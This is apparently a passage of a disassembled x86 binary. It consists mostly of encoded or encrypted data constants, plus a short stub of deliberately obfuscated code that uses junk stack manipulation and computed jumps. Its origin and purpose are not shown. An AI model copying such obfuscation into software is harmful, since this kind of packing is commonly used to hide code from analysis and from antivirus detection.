		dd 38FE1008h, 628C6FD1h, 668770A9h, 0C621278Ah,	0F33E5834h
		dd 31072702h, 5F8CBE82h, 9C04974h, 0A646CED7h, 0C1FDAFB1h
		dd 2BE27C7h, 30A55E8Ch,	6B62A147h, 0D3D90502h, 52E821E8h
		dd 367EE7EDh, 61B35C84h, 819587CBh, 8A31CEBBh, 0BB5B0E7Fh
		dd 0CE571E4Ch, 0EC8DCE73h, 69299685h, 85DE9FBCh, 0AE5B2996h
		dd 88836988h, 126BA851h, 8F299686h, 0D1B67C92h,	0BB276468h
		dd 31E9E9F2h, 5F8C171Dh, 56847BA6h, 0DD7128ADh,	0CE6FD157h
		dd 6E808B31h, 527C5D7Fh
		dd 853334B9h, 67A2777Eh, 31CE7EA2h, 746D818Ch, 0E873CEBCh
		dd 29968595h, 4E011512h, 2996852Bh, 0AB648CEAh,	699C3D2Ah
		dd 0B2598364h, 777561A8h, 6841B453h, 9CAB99A1h,	73CEA74Eh
		dd 968595E8h, 0FBE31229h, 1C8A114h, 2BE0FEEDh, 0E873CEFDh
		dd 29968595h, 37011512h, 407E5D2h, 0B7894CF2h, 31CEBE82h
		dd 1AD97D88h, 15A257B4h, 8C5D50B3h, 0BE82D46Ah,	0A747B089h
		dd 80759A36h, 68CE60A9h, 0FBA173CEh, 30AB38Bh, 821046B1h
		dd 0C0A4D96Ch, 3A192995h, 6D964493h, 4BB46DA4h,	75CB6BA2h
		dd 0FCA173CEh, 0EA6AC78Eh, 0EA780112h, 0CEEE2995h, 36D8C539h
		dd 31CE22FCh, 806F7F8Ah, 0DB9EBD5Eh, 58299685h,	0D1C266ABh
		dd 0CE80C06Fh, 6CAEF146h, 4D9F3EA7h, 657CB8EFh,	562DC118h
		dd 0A65F8C56h, 4D6D8A2Fh, 6BA66788h, 8B9FAF6Ah,	0AE1CB724h
		dd 0BF689C55h, 85A0D97Ah, 601D2996h, 85FD7BCEh,	4D92996h
		dd 0F429DA73h, 1026DD0Bh, 94F2AC3Dh, 4D7B8429h,	0C8ADA0B6h
		dd 7829103Dh, 6CA13EA9h, 85684FB8h, 0C6261184h,	87668841h
		dd 8572A766h, 923AA568h, 85A98075h, 0BA229D5Ch,	3B91484Dh
		dd 14ECFEA3h, 10143A57h, 740516EBh, 0F1291007h,	0E62BD802h
		dd 778FD50h, 1B382910h,	29100762h, 32E722DFh, 7314C07h
		dd 0D4AE2910h, 0CCDD774h, 0A94D8481h, 0C178C569h, 1050E792h
		dd 0B49A6429h, 0DC92212Bh, 0E073834Eh, 290FDC3Dh, 42D14873h
		dd 290FDC37h, 8B02C7B4h, 0CACB44ACh, 0DC89F41Fh, 1906290Fh
		dd 67372314h, 802E3CD3h, 8FEA628Ch, 77979E6Dh, 0A7B48DACh
		dd 29104ED6h, 746AA34Ch, 64886787h, 708732A3h, 6039BC4Dh
		dd 4EDF9AB9h, 9F5C2910h, 577A608Fh, 0A55C9574h,	4EBEBF5Ch
		dd 4E3B2910h, 98383FA8h, 4EB1CC87h, 712E2910h, 0CD7435B8h
		dd 104EEB8Eh, 9BBB6829h, 0A30D9B97h, 8E1D43Bh, 3F9F18C1h
		dd 48F13ED0h, 5AFC0BAFh, 104E6AF7h, 749F5A29h, 29104F09h
		dd 7D759986h, 59BB5C80h, 2009B22Ah, 1336D882h, 295E5682h
		dd 0EE30490Ah, 0F0AD28C0h, 1D3ADA39h, 3142B4F7h, 5244h
		dd 749D4400h, 46C925D0h, 7291379Eh, 47BE2BCAh, 7D8A3295h
		dd 87346DC7h, 5580A463h, 85709477h, 5681A366h, 82709479h
		dd 0C5D3A6B5h, 9B502394h, 0CDCDE8DDh, 0BF1529D8h, 0E0AA67DDh
		dd 0A344EA4Bh, 0Fh, 8831CEDDh, 4392977Dh, 0FB17D52Dh, 8C691F5Bh
		dd 3E29AC65h, 7E696CA1h, 4423AA5Fh, 7B7C719Ah, 3235B84Fh
		dd 6F787D8Ah, 2D3ABB4Ah, 7275788Bh, 1BCCC14Eh, 1564868h
		dd 0BE44E906h, 0F6BDFFF7h, 15E9EEh, 0DB390000h,	7CD1h
		dd 3 dup(0)
		dd 0E9000000h, 1375h, 1C42068h,	0BE18E906h, 9468FFF7h
		dd 0E90601C5h, 0FFF7BE0Eh, 1C6D068h, 0BE04E906h, 0C468FFF7h
		dd 0E90601C7h, 0FFF7BDFAh, 1CC4968h, 0BDF0E906h, 4568FFF7h
		dd 0E90601D1h, 0FFF7BDE6h, 1D29D68h, 0BDDCE906h, 745BFFF7h
		dd 6080679Dh, 806A8DAFh, 55766183h, 81698CB0h, 4DC45E86h
		dd 0A359AE0Eh, 0CB719A44h, 9448C12Ch, 5B818C31h, 0EA93C079h
		dd 672394C4h, 608C3E02h, 918326A7h, 0A600883h, 33C25456h
		dd 0F1326488h, 483DFCEFh, 0ED745881h, 8030CB5h,	0E851EB0Bh
		dd 0A41BEACFh, 2743D33Ch, 0A3B069B1h, 2F8EFE57h, 0FBD010DAh
		dd 0AA5C2E19h, 0B47D902Dh, 5E7F7841h, 0CB6B3EAFh, 9D5BF188h
		dd 2935D023h, 0D673835Dh, 7E6C5348h, 0B5591085h, 8569h
		dd 0CE8DB400h, 239D53ABh, 65DB7B28h, 977946CEh,	6BC4D3E4h
		dd 0D1099FCBh, 68FBD128h, 0A441A774h, 649DE07Bh, 3D282996h
		dd 0C8765C47h, 0FD110EF0h, 0B20F2330h, 625D2F8Eh, 1B1C917Eh
		dd 7F8F5AB1h, 92735877h, 5E834E1Bh, 7C0C8176h, 0D68564B9h
		dd 239C54A3h, 46AE6320h, 0EFBB28A2h, 0B831C56Ah, 0C3671BF1h
		dd 329A715Bh, 0E9661E17h, 69383433h, 0D083935Eh, 239C79A9h
		dd 75517D88h, 48D551FBh, 10BCh,	4E8A8600h, 0AF00000Dh
		dd 0E9356A5Dh, 9FAF2D89h, 0AA638C99h, 0F089CA6Fh, 6D299685h
		dd 90763793h, 2CE5AC19h, 8B0209B3h, 0AAF38DEh, 0BA3BCEEDh
		dd 3FA04FDFh, 0E051C3B1h, 1DD4848Ah, 13B542E7h,	94025EF0h
		dd 0BA88934Eh, 0E82F8EC7h, 64770211h, 7F4239Ch,	0F1220FE7h
		dd 239C6488h, 3B9F1805h, 0E99005CCh, 9A1BF0CEh,	2FA6EDBFh
		dd 7B628585h, 130178DBh, 25E0239Ch, 2A934D39h, 5C6348D5h
		dd 0A480966Fh, 60h, 0AC5D8077h,	699E3E29h, 0DA7CB564h
		dd 1646CE64h, 58953F81h, 0E8861DF2h, 0D712591Ch, 65BD2B37h
		dd 567A85BCh, 0D16534B9h, 8F1CAC7Eh, 0D5F5022Fh, 0F1EEBB32h
		dd 45AD41CCh, 8940C526h, 0B76F6504h, 0F1E770D8h, 0FD7CCF5Fh
		dd 0DC239CA1h, 8F612531h, 5748D6B9h, 78E7F60h, 5960BC52h
		dd 0C2000001h, 828D31CEh, 39B85E0Bh, 0B5747994h, 0C767A44Ah
		dd 1E26C428h, 4EE07776h, 0F700F53Ch, 0B1B637D6h, 0DFD8010Ch
		dd 4FE90DFCh, 79040FEAh, 0F629963Eh, 0F362E509h, 0F3299642h
		dd 396C0D4Eh, 5FF72996h, 516D98B6h, 66887569h, 72A76687h
		dd 0A1B26585h, 299671D8h, 6C61A855h, 7A9F99BDh,	29AC5F7Dh
		dd 71AAD380h, 7A272996h, 6F509FAFh, 588816Ch, 51189D54h
		dd 30848966h, 0D01ABB8Fh, 68F41AB4h, 0C47DA4FEh, 75788F3Bh
		dd 3DE450A4h, 8EBDA27Dh, 0E679E568h, 522C2F8Eh,	67B31C8Ah
		dd 50F43DA9h, 3BDFE5E7h, 0A8C9FE3Ch, 164CDA86h,	40A916EBh
		dd 0A93346D5h, 0F3B0239Ch, 0F5E2B73Eh, 291C32D5h, 29989CD0h
		dd 0C9798488h, 14791A68h, 0D40DFA02h, 0DD2A922Dh, 0F512BA39h
		dd 1366F54Ch, 901DA099h, 58917C61h, 71597CB6h, 0EDA84596h
		dd 595ABFD7h, 0F804Ch, 8C856C00h, 0BE516D58h, 8A795F86h
		dd 0BF467352h, 0F512BA1Dh, 0FFBCF54Fh, 0CDF82CDBh, 0FDE81CEFh
		dd 0CEF92BDEh, 0FAE81CF1h, 0C15B1E3Dh, 73D82394h, 0C246CED5h
		dd 0B4C69B35h, 1E9082Eh, 0D4740516h, 34F12995h,	0EAE247FDh
		dd 22F59B38h, 9958FE26h, 0ECCEE934h, 4681FC17h,	1FE2996h
		dd 0CF314C8h, 300628E1h, 818C31CEh, 0ADB95D0Ch,	0BD3ADF3Bh
		dd 0E845E91Ch, 8F98032Bh, 17A0592Fh, 0C1BC57B6h, 3E239D72h
		dd 2645AD41h, 518841C6h, 6E808566h, 72A7CE75h, 0C725239Dh
		dd 86665144h, 5E400C81h, 250D2BD5h, 7C6A3DC7h, 0ABF5070h
		dd 23CB17EEh, 453C3DDEh, 0CCB9239Dh, 1D0BE52Ah,	0E4DB48D6h
		dd 0CE9B12FBh, 0F91DE8D1h, 1122Dh, 638CF700h, 0BB8623AAh
		dd 9685DDA0h, 89AD5A29h, 5C85826Ah, 78E7563h, 0A023BC52h
		dd 29968AB9h, 79A5677h,	0FC07B1D4h, 53CC20F9h, 29E4093Eh
		dd 0F53CF5A4h, 40FEA4Fh, 29965E79h, 18F7D7F6h, 11AE3DD1h
		dd 13BA45FCh, 138760F6h, 5DA45D85h, 965EBBBEh, 0AB4B3829h
		dd 8791CD8Eh, 57442F8Fh, 54B715A2h, 56C078C2h, 0D52CD50Ch
		dd 9D353346h, 63F3B023h, 9925FCF0h, 5E9D629h, 40D6830Ah
		dd 620EAEB8h, 4C369097h, 31A46B53h, 6F88B178h, 7A85BC4Bh
		dd 6841B451h, 61896CC6h, 9E6E55A6h, 7B74BFD7h, 0E0C7Ah
		dd 38D9F800h, 12FDE104h, 26DD0BEAh, 13F2D7FEh, 21E606F1h
		dd 0ABE829FBh, 0B114C83Fh, 0F9DC000Bh, 0E20537D2h, 6EC10FDh
		dd 0C0572231h, 6FD42394h, 0B7608CD1h, 9685E19Ch, 68A15E29h
		dd 0B2CB88B1h, 28299685h, 985144C5h, 5C7E7926h,	8CAD87A7h
		dd 0C8590988h, 0F91DD451h, 138D5FAh, 0BC31D6F6h, 4AEF49EDh
		dd 0F8FD10ADh, 8C270D21h, 0CA6FAA63h, 9685F089h, 9EB06D29h
		dd 1430A445h, 0DFF68D2Ah, 0D0EDFC12h, 0B06B0E4Dh, 3BE82995h
		dd 8F0C4EF6h, 0DB065CCAh, 8EC8D240h, 7757602Fh,	0B2441598h
		dd 30A45D4Ah, 5462D047h, 0F748EEAFh, 629FFC5Ch,	2FB92FCDh
		dd 0A6737A89h, 76779239h, 8EB36EA3h, 3ED5A8B3h,	555279D8h
		dd 47B88EC1h, 0E9D67FD1h, 18F7D704h, 880DC495h,	96B53DD1h
		dd 0E31ED338h, 71929DF1h, 6ECC04Bh, 35AE405Eh, 13B533A5h
		dd 0F70039F0h, 0B1B637D6h, 0CDCAFF0Ah, 0C59419ECh, 32570431h
		dd 0D279DBE3h, 0F00609E5h, 0D9E61B08h, 0C9A015F0h, 0C6310825h
		dd 0FC09B229h, 45E920F9h, 20C449A6h, 681142F7h,	0E56DE259h
		dd 0F6D71638h, 2DDBBC17h, 0D0E10F96h, 0CD0E5h, 0FC15BC00h
		dd 0CE419D48h, 0FA09AF16h, 0CF36A342h, 0E522CA2Dh, 0EFACE53Fh
		dd 0DD083CCBh, 0EDD80CFFh, 0DE093BCEh, 0EAD80C01h, 0BF6B0E4Dh
		dd 83E82394h, 0BA638CC5h, 0CA699C3Dh, 299685AFh, 6046C925h
		dd 0C2676EA3h, 7B729535h, 95E873AEh, 12299685h,	0F3650115h
		dd 6C03818Ah, 9A191010h, 9BDE36AFh, 0D702C7BCh,	8F91CA3Ch
		dd 0B616352Fh, 448D5C51h, 4EBB229Dh, 0ED9B7196h, 8FD7EA1Eh
		dd 0EC8DCE73h, 69239CAFh, 705B9ABCh, 0E6F1499h,	0E0239CB0h
		dd 239CBF99h, 0A73A059h, 80239CA0h, 7524A95Ah, 0E6829491h
		dd 8EF2A70h, 0F9B025E6h, 0B3BD855h, 312995B4h, 3FCEEF08h
		dd 0A38AC9B4h, 0B559461Dh, 0AC4D403Dh, 63783628h, 0E2176C2Dh
		dd 0A41C4831h, 36D8C51Dh, 4C0716B7h, 1DA41C31h,	0C5C847A7h
		dd 17C3B214h, 0E52CFDF0h, 6870CF2Ch, 1122BFD0h,	0BDC24h
		dd 0E829C800h, 0E22D9134h, 0D62D9B3Ah, 0E322C72Eh, 0D1369641h
		dd 0DB98192Bh, 1E418EFh, 0E90C30DBh, 0F2D50702h, 369C40CDh
		dd 0BEA7D281h, 0BF242394h, 4169FF01h, 0FDF015B6h, 856E0F2Ch
		dd 3EEB2996h, 9B14EF3h,	26DB58FEh, 35D93499h, 8F9A3012h
		dd 0C57E562Fh, 4CC32BEAh, 53C9049h, 0BB4A6F45h,	84AA5F3Ah
		dd 6D8AAF6Ch, 6237BE51h, 0AC1413CCh, 9941BE63h,	9FB1C451h
		dd 8E4384A9h, 0C727CE68h, 1BA44548h, 845558AFh,	3B6FF672h
		dd 5D203B06h, 0DA239D74h, 0D52C092Dh, 850805EAh, 0A60F42D4h
		dd 0B3239D74h, 65F64BF6h, 239D7414h, 69829491h,	76A55CE1h
		dd 239D7403h, 94738380h, 958A6646h, 9D73F386h, 7EB37023h
		dd 73FE7BC6h, 41BE239Dh, 0A8D1829Dh, 25239D73h,	6D3CB178h
		dd 0A4049DC9h, 0BDECF38h, 0A1001BC6h, 0D6239D73h, 461CF029h
		dd 3DE783CEh, 0C108FFEBh, 0AE26032Dh, 9E334E7Ah, 1F0061Ah
		dd 2EDF00DDh, 0E91AC0A7h, 930E920h, 9D1A2F4Ah, 0C245A523h
		dd 0D60F1FDCh, 9D1B402Dh
		dd 1DF2CE23h, 0DF2E8F98h, 0F7E32AEEh, 0EEFC1327h, 0F72DE2FEh
		dd 90FBBA12h, 0F3C8079Ah, 9CD81568h, 5C959223h,	1E8F7663h
		dd 0A44CAB4Bh, 0B2779239h, 0D8A1B287h, 55239CD7h, 0B65D86A8h
		dd 239CD80Fh, 0BFADB950h, 1C4CF01Fh, 55AC5585h,	0D0C8377Fh
		dd 21353849h, 9CF8482Eh, 0D7DECB23h, 0FE5CB62Ch, 817EC397h
		dd 5E9DB15Ch, 0ABDA9670h, 0DAA3775h, 625A5BAEh,	6F4DEED0h
		dd 3ED01948h, 22EE2h, 69FF4400h, 0CBEF0831h, 0FE1D1A3Ch
		dd 2F8FA548h, 3CC37E2Bh, 61A24893h, 6C5174A8h, 5D8A8484h
		dd 36FB5675h, 5425360Bh, 0D1239D76h, 1AA942D4h,	0AAE421BDh
		dd 18985477h, 1723A107h, 8B8174BDh, 0C3C74628h,	0A03EB932h
		dd 1BEA6A6Bh, 5B1E0FCFh, 0F30475A6h, 84819C56h,	0A7479372h
		dd 535AAB10h, 58B31986h, 779637B6h, 0A1DC77C2h,	1E9C56F2h
		dd 8463CD61h, 7E3BB25Bh, 9CB25D81h, 0F3D759C0h,	1C8A114h
		dd 36CFFCDBh, 5425360Bh, 0D19C56F2h, 0BEA942D4h, 0CF38EC21h
		dd 0AF0506E8h, 0C3EDB2C2h, 8A698D6Dh, 9B71A865h, 741D93B2h
		dd 11DA7C47h, 0E1CDC582h, 3422150Eh, 0CB769738h, 6294E576h
		dd 141129CCh, 308D3802h, 0E811D8DDh, 0FD1EEDCFh, 29CC627Ch
		dd 16F3DAF9h, 0B62F3BDBh, 2D57BD64h, 3F490A09h,	39002DC1h
		dd 287102D3h, 477143C4h, 5AED0128h, 29CC181Fh, 0DC3DDF9Ch
		dd 0A114FBE3h, 23C726C8h, 0E079F1E4h, 23AA5B80h, 0BB86BB76h
		dd 0CD6E9744h, 29CC18ACh, 4617B37h, 0D4CA0E34h,	0FD0EB027h
		dd 200D21F8h, 1D02DED9h, 0CBEE7BFEh, 0C60BF829h, 0EE601D30h
		dd 28D529CBh, 21ECD1F4h, 2BDAFFF8h, 865FEFAAh, 13CE39A1h
		dd 0EE4C2DEEh, 0DCC929CBh, 0E229B13Ah, 36D7F8F4h, 5425360Bh
		dd 0D129CBEEh, 0CDF842D4h, 0D1981DF0h, 0EE92EB28h, 120F29CBh
		dd 8CF960FCh, 64A5E74Ch, 6C955C1Fh, 0CC2FD6AFh,	3CC37E29h
		dd 93E6758Eh, 1029CC2Fh, 0EFB0313h, 3FCEEFD6h, 0A614AB4Eh
		dd 933AB95Dh, 0A27AC659h, 0CC7B0871h, 34988529h, 43BC64E2h
		dd 0A782739Ah, 0E6216B62h, 500B36F8h, 29CC242Dh, 9A59FDAAh
		dd 9621D835h, 0EBE2B537h, 0EBA4F5A1h, 54FAAF26h, 3BD2FBDAh
		dd 4E2A0E06h, 5A2E0DC3h, 0BB408215h, 82EE38Ch, 80D24BDFh
		dd 0A73A059h, 8729CC6Eh, 9CB7749Ah, 29CC6DEDh, 50B72352h
		dd 59846399h, 0C57C3DB0h, 0CC6DE396h, 93A36029h, 0E51C4ED7h
		dd 0F618F5DAh, 6D6F1A39h, 0DFCC29CCh, 0CC6D4934h, 10D9C629h
		dd 1DF2CEE9h, 8CE13FF9h, 0E099BA63h, 5D299685h,	89B069A0h
		dd 9685AFCAh, 45C82529h, 78259950h, 7AEC5CD6h, 1340F920h
		dd 2996856Ah, 8588F122h, 18052996h, 0D855F9A6h,	8F9DFF3Bh
		dd 0DC05022Fh, 0FEDFF8E3h, 890CFFDDh, 0C59419D0h, 0C82FD80Ch
		dd 0F417B528h, 0ECE12801h, 0F3DA193Dh, 0A213FCE4h, 1F8B02C7h
		dd 51A85189h, 9D6CB7C2h, 0A7473423h, 0A748AF8Ah, 857DD066h
		dd 0F0299681h, 15F7C233h, 0D1080ABBh, 8BEE2D39h, 81DA45Ah
		dd 0D40D61Bh, 1DA46A68h, 7761CF59h, 659C458Ch, 6E89C16Fh
		dd 6B8B74BFh, 9D895EE8h, 595C4923h, 826A714Eh, 9A6F4C85h
		dd 0F8A5C927h, 757EEF7h, 9C430000h, 0C828CF75h,	88329547h
		dd 0BD1EC97Bh, 89319448h, 356CC67Eh, 7BA16686h,	6399725Ch
		dd 8CB05984h, 53898469h, 0F28BC871h, 6F2394B9h,	46CE36FAh
		dd 0EC5D3C00h, 0F672841Ah, 0F8FF3A60h, 0E9C035D6h, 1737CCEEh
		dd 62EDDF1Ah, 6895D172h, 0F6084BEBh, 0AC2F8F8Fh, 0CD61A813h
		dd 45A74625h, 1A823CD9h, 0A429E0D7h, 0FA053CF5h, 0B8BF36D3h
		dd 183EF314h, 308D2ACFh, 0C5C83FABh, 1639DD14h,	239CF760h
		dd 0D2FB043Dh, 8582481Eh, 58918467h, 93728455h,	0A8ED7F47h
		dd 46AA48D6h, 75000001h, 643C99Fh, 490A9500h, 239D7530h
		dd 1539F0ADh, 85C1E81Fh, 0E8112996h, 981DECCFh,	41E82DC1h
		dd 5CF217B6h, 27DD308Dh, 611C3702h, 0DE299685h,	0F419B621h
		dd 5A062801h, 926792C0h, 0AF0EC325h, 0CC7F8F5Ah, 299685B9h
		dd 79C07926h, 96859FDAh, 59421C29h, 39D70423h, 9B44EA1Fh
		dd 42A8339Ch, 0D7DE2D8Fh, 13C6C702h, 0BB8BD0C1h, 9F6AE342h
		dd 0AD607D7Ah, 21BBAF89h, 62F148F1h, 29959317h,	0CFF0E794h
		dd 0E61B183Eh, 931AF5D9h, 641D30C6h, 0D1299593h, 0C7CE3BA2h
		dd 0D1D6D712h, 4B0831ECh, 29959332h, 1861F2AFh,	95299593h
		dd 41F821E8h, 95936712h, 1737E429h, 0DA03FC1Dh,	47E7C233h
		dd 0B261811Bh, 299593C7h, 93A9D47Fh, 79262995h,	0A8519885h
		dd 95942E6Bh, 0A911AE29h, 6A50575Eh, 36BE5099h,	0BABF4449h
		dd 9B2995D3h, 71C86674h, 955397E2h, 99351429h, 0CF9BBB76h
		dd 21E8D355h, 0DE02FDACh, 0B641F831h, 2801F419h, 0E7D02906h
		dd 5FF20403h, 2995533Ah, 0A9D47FBAh, 26299552h,	601DD579h
		dd 0D0E153B9h, 24C6295Eh, 32689539h, 2135FC99h,	0E305F217h
		dd 72DD0E20h, 1C000001h, 3DD138A3h, 8731CEF7h, 8EA0797Ch
		dd 0E31E44D2h, 991FB61Eh, 0DBD08F5Eh, 95E13D40h, 0D2CDBA29h
		dd 0FBAE1FECh, 0DE23DE5Bh, 95E13C3Dh, 2ACCB929h, 8EF61F27h
		dd 0E41D0A2Fh, 0F618EFDBh, 0F5E40AEDh, 0EDBC31D4h, 4617FD24h
		dd 7F5E7171h, 7EEA44EAh, 0B58CB5E5h, 7164A14Ah,	0CEB396B8h
		dd 43239C9Fh, 0FDE39E29h, 6297B991h, 9CC9C8B1h,	91584523h
		dd 0F7829168h, 74239CC9h, 57927555h, 0CFA52EB7h, 0B0239CC9h
		dd 0CB4C7087h, 9CC9ED90h, 74BD6A23h, 0E29BB881h, 5F239CC9h
		dd 38C767A2h, 0E5805C2Ah, 0CA4548D6h, 98000000h, 0C1C7B261h
		dd 2544239Ch, 6A8C45C8h, 3664FFD4h, 0C546090Bh,	45DF9B95h
		dd 57BD84B1h, 9868C7CFh, 0D5789E37h, 299617A4h,	9279635Ch
		dd 50A84E1Bh, 35976253h, 0FBEFC994h, 2EBD5170h,	91C97B90h
		dd 0C045A60Ah, 2CD51CCDh, 8EEF2CD5h, 46299640h,	96406415h
		dd 0C224E129h, 0A71E31C5h, 8C299640h, 4D626A8Fh, 8A9D819h
		dd 915891A5h, 0B244C926h, 9668DA9Fh, 96775829h,	51B2181Fh
		dd 0F1DDC85Ch, 0E8F6152Dh, 1D60FB46h, 9A2995E8h, 861D49EDh
		dd 9851BE22h, 27B9861h,	7F2995E9h, 7ABF6C82h, 8BAB5E7Dh
		dd 95E901C8h, 3BD82129h, 2995E842h, 0C42CC2BFh,	0E8512CE7h
		dd 0D1CE2995h, 0BC43E418h, 0E629C510h, 5FEF3AEFh, 0AA638CD9h
		dd 0A566886Fh, 0AFCA8930h, 2C299685h, 4B94BA6Fh, 7358836Ch
		dd 15A25792h, 8D5C51B4h, 0D9BCF69h, 8B5BEEB8h, 8B2D02B5h
		dd 305BB178h, 0FB991F0Eh, 0B8639E53h, 2F8F2D8Ah, 5E59807Dh
		dd 5306877Ch, 0DC992AC3h, 0BB239CC9h, 0B9547986h, 0C5699E3Eh
		dd 825E2836h, 5248D6E5h, 0C2116CA7h, 8AC9239Ch,	239CC1EFh
		dd 524FAF6Ch, 12838665h, 6D6BB757h, 0B6000000h,	6469A449h
		dd 0CE9BA1B5h, 0B828D31h, 8247C02Ch, 3C66F06Ch,	35D2FA05h
		dd 27071421h, 422F8F98h, 9C659C45h, 9D72FE7Fh, 6D8E7B23h
		dd 239D730Ch, 717A9C89h, 97E271C8h, 14239D72h, 0F584C767h
		dd 73239D72h, 0D6D6A64Ah, 0CCD2E0BFh, 41A79005h, 10D92A90h
		dd 2B37109Dh, 3422ED73h, 0A95C7D7Ah, 0AFEC8085h, 23A948D6h
		dd 7B000001h, 23AA638Ch, 0DDA0BB86h, 5A299685h,	826A89ADh
		dd 0C6271085h, 0BD22B715h, 5D509950h, 6498755Ah, 968A78DDh
		dd 74993629h, 7E8B32CDh, 56775ED8h, 0CE7336B7h,	9680EC8Dh
		dd 9ABC6929h, 22E558CEh, 9A2B01ACh, 6E0F4CF5h, 0EB29965Ah
		dd 0F34EF33Eh, 965A1568h, 81959229h, 6FAFA7B4h,	9D7A2F8Fh
		dd 9D43FB7Eh, 0BE497123h
		dd 627C6237h, 6E214A04h, 7AAF7A6Eh, 0D06F65C2h,	65A24ABAh
		dd 5A7CB28Fh, 0B23EA8B4h, 0C35FC09h, 8F374208h,	3197B543h
		dd 3AF717D2h, 98894719h, 0C4ECF629h, 97785839h,	38714316h
		dd 20D910A2h, 2DD43397h, 0DADB2892h, 5279040Fh,	9F61DA1h
		dd 0E1042EC0h, 6EAD0EF9h, 34BFD732h, 25B3A3Bh, 0A8470000h
		dd 0AC14B369h, 0B416C163h, 0A14AAD4Fh, 0B515C064h, 1998AA52h
		dd 6F95725Ah, 7FA56688h, 70947558h, 7FA56885h, 677A455h
		dd 832394B5h, 608C2ACEh, 6D5275A7h, 5E7E79A0h, 9AE370A9h
		dd 17299685h, 0CD6AC46Ah, 0EB8ECD74h, 68299685h, 85DDA0BBh
		dd 0AD5A2996h, 73CEB389h, 968595E8h, 1151229h, 72A7F365h
		dd 2BA26585h, 0C05BD87Eh, 2F8F986Eh, 6A199C89h,	239D730Bh
		dd 866A55EAh, 0BAC35089h, 37239D72h, 955A44Ah, 0D64EA33Dh
		dd 1246448h, 0CEBE0000h, 0A5E7B846h, 20364B8Ah,	0AC21ECD1h
		dd 3BC8F20Dh, 193ADFBAh, 29963B60h, 0DF0E20DDh,	0E0890CFBh
		dd 3B7FFA19h, 0FFFC2996h, 43D33498h, 96404910h,	0AE60729h
		dd 0C428E0B0h, 35975243h, 3BF6F1AAh, 415B0E06h,	4421CE8Ah
		dd 805D88B2h, 9861088Dh, 9602027Bh, 6C827F29h, 53C66F0h
		dd 8F16FC56h, 0D4F5022Fh, 0EB671241h, 37E4239Ch, 0CA945CF2h
		dd 1A246C49h, 933BA4C3h, 0DB8FB57Ch, 83F6254Dh,	239D72h
		dd 0AC13CE03h, 16C3CA43h, 0DD283300h, 85299962h, 41B4517Ah
		dd 812EC668h, 0A181A7D2h, 0B277241Dh, 0D8A1B287h, 551DA181h
		dd 0EA986A8h, 44A359AEh, 8BA46F98h, 0F1BFD705h,	103F500h
		dd 0D0EF0000h, 943C9B41h, 0BC1EC97Bh, 89329547h, 0BD1DC87Ch
		dd 180924Ah, 679D6A52h,	77AD5E80h, 689C6D50h, 77AD607Dh
		dd 0E6FAC4Dh, 8B2394B4h, 608C22E6h, 0F91BFC8Ah,	5B969E7Ah
		dd 0E5702EA6h, 0AC1DD23Dh, 13C6C740h, 19FE38DEh, 2E4A33E0h
		dd 0DAC72996h, 2E89F41Fh, 19062996h, 34D9F6F5h,	638C2E10h
		dd 9B4423AAh, 5CDBDF55h, 69A061C6h, 0C91187B3h,	0FAE3E910h
		dd 878D25E9h, 1A302333h, 0FD2F9808h, 0E8EC8D00h, 7051CEC8h
		dd 0F7F618F4h, 240537D6h, 37D72E9Bh, 17C417B8h,	0C69F9DD1h
		dd 66ABE1CFh, 28992AABh, 0E9E64D1h, 0CFAA69AEh,	4CA8C4B2h
		dd 14139A4Fh, 1F6D60A9h, 3124FAE8h, 0BB240856h,	0AF10A752h
		dd 6C82575Eh, 21BA23C2h, 55AE1CB9h, 89408960h, 1DB62304h
		dd 5F484DC0h, 8B468B7Ah, 5D89800Ah, 7D9F6E4Fh, 1598755Ah
		dd 8A816B54h, 0B559AC0Dh, 834h,	557A8500h, 0FA096B8h, 0AC658C39h
		dd 6CA13E29h, 0AA5F7E69h, 719A4423h, 0B84F7B7Ch, 7D8A3235h
		dd 0BB4A6F78h, 788B2D3Ah, 0C14E7275h, 89521BCCh, 4C281E2h
		dd 55000000h, 4BDh, 5DEA2900h, 5C241487h, 81E18951h, 4C1h
		dd 4E98100h, 87000000h,	895C240Ch
; ---------------------------------------------------------------------------
		add	al, 24h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	edx
		push	49161379h
		pop	edx
		sub	edx, 0A1E723Dh
		xor	edx, 5516412Dh
		add	edx, 9A1FE120h
		mov	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	1215h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		sub	esp, 4
		mov	[esp], eax
		pop	dword ptr [ebp+8]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		dw 479Ah
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		mov	eax, 601D3C5h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 529Fh
		dd 95230F7Fh, 86440F63h, 0DE80705h, 9A000000h, 2AE11BAFh
		dd 33D8DCF9h, 9D629391h, 3880Fh, 0B70F0000h, 0AE959F9h
		dd 0A4000000h, 2C3B319Eh, 3D253766h, 32C1810Ch,	81000065h
		dd 0A26DBED8h, 66DB2B3Fh, 8BE58AB8h, 0BE661914h, 0EA81C1CCh
		dd 32DB2EF2h, 2840Fh, 0C38B0000h, 13DCC281h, 26B0343Dh
		dd 0E6ABEA81h, 148907D3h, 0EB81F519h, 7003686Ch, 8B0Fh
		dd 0C3810000h, 70036868h, 48A0Fh, 0B8660000h, 0FB814D64h
		dd 0FFFF9B78h, 0F850Fh,	0F1BF0000h, 0E954C20Fh,	1Dh, 6453FA53h
		dd 0D613B855h, 98E90583h, 0DCFFFFFFh, 0B494E918h, 0F844DC25h
		dd 6D35F156h, 0EE88Fh, 87060000h, 0E52AC544h, 0BF83750Ch
		dd 94E19DB5h, 58F0Fh, 81660000h, 5EA627CBh, 81F88B60h
		dd 4DC7B8C6h, 0C6816146h, 0E6A9h, 0AE8h, 0F171BC00h, 0B3B5DD5Eh
		dd 0F5AFEB2h, 383h, 0C68B6600h,	0F088B958h, 0F1810FB7h
		dd 0FB7C9F3h, 8EAAE881h, 36FF5A59h, 0F575FFCh, 0D85h, 8E900h
		dd 7D070000h, 44E773DFh, 81581EA5h, 7943E4EFh, 814CB32Ch
